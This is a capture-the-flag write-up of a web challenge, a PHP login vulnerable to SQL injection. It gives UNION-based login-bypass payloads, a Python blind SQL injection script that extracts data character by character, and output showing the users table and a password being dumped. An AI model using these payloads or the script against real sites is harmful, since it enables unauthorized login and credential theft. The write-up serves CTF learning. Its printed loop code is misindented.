social



hack you spb CTF 2016 - Web200 Decoder writeup

In this challenge, we are presented with a simple login page and its source code, which is easily injectable:

The login page

...
<?php
  if (isset($_POST['login'])) {
    $login = $_POST['login'];
    $password = $_POST['password'];
    $res = mysql_query("SELECT * FROM users WHERE login = '$login' AND password = '$password'");
    if (mysql_num_rows($res) == 0) {
?>
      <div class="bg-danger col-lg-12" style="margin-bottom: 30px">
        Incorrect username or password! Please check and try once again.
      </div>
<?php
    } else {
      $row = mysql_fetch_assoc($res);
      $_SESSION['uid'] = $row['uid'];
      ob_end_clean();
      header("Location: /", true, 302);
      exit;
    }
  }
?>
...

Entering ' UNION SELECT 1,1,1# in the Username field will log us in as admin, the first 1 being taken as the uid:

Logged in as admin

And ' UNION SELECT 2,1,1# will log us in as jproper:

Logged in as jproper

We can use this to perform a blind SQL injection like this, getting our data letter by letter:

import requests 

def is_gte(query, pos, i):
    payload = {'login': "' union select (select if ((select ascii(substring((%s),%d,1))) >= %d,1,2)),1,1#" % (query, pos, i)}

    while True:
        try:
            r = requests.post("http://hackyou-web200.ctf.su/", data=payload)
            return ('admin' in r.text)
        except:
            pass

def get_char(query, pos):

    # will return '\x00' if pos is out of bounds

    i = 127//2
    min_i = 0
    max_i = 127

    while True:
        if is_gte(query, pos+1, i):
            if min_i == i:
                return chr(i)
            min_i = i
            i += ((max_i-i) // 2)
        else:
            if max_i == i:
                return chr(i-1)
            max_i = i
            i -= ((i-min_i) // 2)

def fetch(query, start=0):
    out = ''
    i = start
    while True:
        c = get_char(query, i)
    if c == '\x00':
            return out
    out += c
        i += 1

So let's see first if there are any other tables in the database:

...
print fetch("select count(*) from information_schema.tables where table_schema != 'mysql' and table_schema != 'information_schema'")
(ctf)tr@karabut.com:~/work/hackyouctf16/web200$ python fetch.py 
1

Seems like there's none. Let's count the rows in users then and print the usernames out (of course we could also do this simply by trying to log in with different uid values, but in theory a uid could easily be a random nonconsecutive integer):

...
num_rows = int(fetch("select count(*) from users"))
print num_rows
for i in range(num_rows):
    print fetch("select uid from users limit %d,1" % i)
    print fetch("select login from users limit %d,1" % i)
(ctf)tr@karabut.com:~/work/hackyouctf16/web200$ python fetch.py 
10
1
admin
2
jproper
3
tommy
4
korror
5
g.Valency
6
flag
7
dwFWzvfL
8
briminaev
9
the_seeker
10
loveb64

Hmm, I wonder what does the flag user's password look like?

...
print fetch("select password from users where login='flag'")
(ctf)tr@karabut.com:~/work/hackyouctf16/web200$ python fetch.py 
flazh0k_n4_w3b_dv3sti

Score!